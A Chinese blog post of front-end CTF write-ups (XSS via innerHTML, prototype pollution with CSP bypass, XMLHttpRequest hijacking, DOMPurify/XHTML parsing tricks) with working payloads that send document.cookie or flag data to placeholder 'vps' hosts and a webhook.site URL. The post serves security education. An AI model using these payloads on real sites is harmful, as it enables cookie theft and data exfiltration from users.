0%

前端ctf(持续更新)

前言

持续更新一些国外的前端ctf,因为接触的前端偏少,这里就集中写一下wp

uiuctf peanut-xss

nutshell.js中有一段代码
linkText.innerHTML = ex.innerText.slice(ex.innerText.indexOf(':')+1);
其中innerText会html解码,而innerHTML会把赋值的内容原封不动的输出到页面中,所以如果输入的是

1
</span><img src onerror='fetch("https://vps/?cookie="+document.cookie)'/><span>

解码完以后就是
1
</span><img src onerror='fetch("https://vps/?cookie="+document.cookie)'/><span>

再把解码的内容赋值给innerHTML,那么就会造成dom xss
修复这个漏洞的话可以把innerHTML改成innerText
linkText.innerText = ex.innerText.slice(ex.innerText.indexOf(':')+1);
当innerText是被赋值的时候,输出到页面的时候会把html编码在输出

google ctf biohazard

https://github.com/google/google-ctf/tree/master/2023/web-biohazard
这是官方writeup,只对其中一些点进行记录

原型链污染

当时看到Object.assign联想到了原型链污染,但是我是用类似下面的方式去尝试原型链污染的,显然是失败了

1
2
Object.assign({}, JSON.parse('{"__proto__":{"polluted": true}}'));
console.log(Object.prototype.polluted); // undefined

但是如果是下面这种就是可以成功污染的
1
2
Object.assign(({})['__proto__'], JSON.parse('{"polluted": true}'));
console.log(Object.prototype.polluted); // true

污染的点 editor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function loadEditorResources() {
const style = document.querySelector('#editor-style').content;
document.head.appendChild(style);
const script = document.createElement('script');
safeScriptEl.setSrc(script, trustedResourceUrl(editor));
document.body.appendChild(script);
}

window.addEventListener('DOMContentLoaded', () => {
render();
if (!location.pathname.startsWith('/view/')) {
loadEditorResources();
}
});

当uri开头不是view的时候就会加载这个loadEditorResources函数
而这个函数中
safeScriptEl.setSrc(script, trustedResourceUrl(editor));
这一段会设置一个js加载进去,并且会设置好nonce,其中editor在bootstrap.js中被定义了,所以只需要原型链覆盖了这个editor就可以了

绕过csp

因为有csp策略,无法进行直接加载js,原型链污染不能直接覆盖被赋值的变量,所以利用iframe,设置csp,允许恶意的js加载,并且禁止加载bootstrap,就可以成功绕过

1
<iframe src="https://biohazard-web.2023.ctfcompetition.com/views/view/5f1a24e1-2744-42e2-8127-19fccd9c3f98" csp="script-src https://attack.shhnjk.com/alert.js https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

在这里我想到如果没有nonce,他只是script-src http://abc.com,那如果这个网站存在xss,我可不可以用iframe设置csp,允许某个网站,但是并不行,他只能去限制js的执行,不能去超过原本网站的允许范围,所以用到iframe的时候一般是去禁止某些js去运行

LITCTF 2023 fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const runHTMLFile = async (filePath) => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto(`file:${filePath}`);

await page.evaluate(() => {
const req = new window.XMLHttpRequest();
req.open("GET", "http://flag:6969/" + randomString, false);
req.send(null);
});
const screenshot = await page.screenshot({
path: filePath.replace(".html", ".png"),
fullPage: true,
type: "png",
});
await browser.close();

return filePath.replace(".html", ".png");
};

filePath是我们上传的文件,传入一个html文件,page.goto会访问这个文件,page.evaluate会在访问这个页面的基础上执行里面的代码,也就是访问flag文件
只需要将window.XMLHttpRequest给重写了,就可以得到flag
wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
<h1>Hello, World!</h1>
<script>
const originalXHR = window.XMLHttpRequest;

window.XMLHttpRequest = function() {
const xhr = new originalXHR();
const originalOpen = xhr.open;
xhr.open = function(method, url, async, user, password) {
return originalOpen.apply(this, arguments);
};
const originalOnReadyStateChange = xhr.onreadystatechange;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
console.log('XHR请求的responseText:', xhr.responseText);
let callback = new originalXHR()
callback.open("POST","http://vps:port/recv",false);
callback.send(xhr.responseText);
}
if (originalOnReadyStateChange) {
originalOnReadyStateChange.apply(this, arguments);
}
};

return xhr;
};

</script>
</body>
</html>

onreadystatechange是用于监听 XMLHttpRequest 对象状态改变事件的属性。当XMLHttpRequest的状态发生了改变,就会触发绑定在onreadystatechange上的函数,当readState=4时,代表请求已完成,且响应已就绪。
这时候在其中把获取到的flag转发到自己的vps上面,当然也可以直接document.write到页面上,因为runHTMLFile会将页面的截图保存并返回。

imaginary ctf 2023 unsanitizer

unintended

1
2
3
app.use((req, res) => {
res.type('text').send(`Page ${req.path} not found`)
})

在这一段因为req.path是可控的,但是如果输入尖括号等特殊符号会被url编码,导致无法利用,一般这种情况下就需要想想能不能让这个回显的内容加载进script标签中,或者直接让他进入js文件中
下面的payload,就可以让他加入js文件中
127.0.0.1:3000/1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//..%2findex.xhtml#http://127.0.0.1:8000
将这段放到浏览器的时候,浏览器会把他当做目录为
1;var[Page]=[1];location=location.hash.slice(1)+document.cookie
文件名为
..%2findex.xhtml
去浏览

但是后端会去解析%2f也就是说后端会去返回直接index.xhtml
浏览器接收到以后会直接去解析index.xhtml中的内容
那么里面的main.js也会被请求为
http://127.0.0.1:3000/1;location=location.hash.slice(1)+document.cookie//main.js

因为开头的那段404代码会被uri所控制,所以就变成了

1
Page /1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//main.js not found


最后就直接跳转到#后面的url了

intended

  • 看到下面的代码,可以发现style标签下的尖括号是不会被转义的
    1
    2
    3
    4
    5
    6
    7
    DOMPurify.sanitize("<div><style>a<</style></div>")
    //output
    //<div><style>a<</style></div>

    DOMPurify.sanitize("<svg>aa></svg>")
    //output
    //<svg>aa&gt;</svg>
  • base的用法
    href中输入abc,那么之后的所有访问都会基于http://target/abc/
    1
    <base href="/abc/">

接下来看到作者的payload

1
2
3
4
<div>
<div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div>
<style>
<![CDATA[</style><div data-x="]]></style><iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>

在xhtml中<![CDATA[XXXX]]>用于注释
利用xhtml和html的不同解析标准,在xhtml中就会变成下面这样
1
2
3
4
<div>
<div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div>
<style>/*<![CDATA[</style><div data-x="]]*/></style>
<iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>

跟unintended的思路一样,也是利用了会去加载其他js文件,且文件路径可控

sekai ctf golf-jail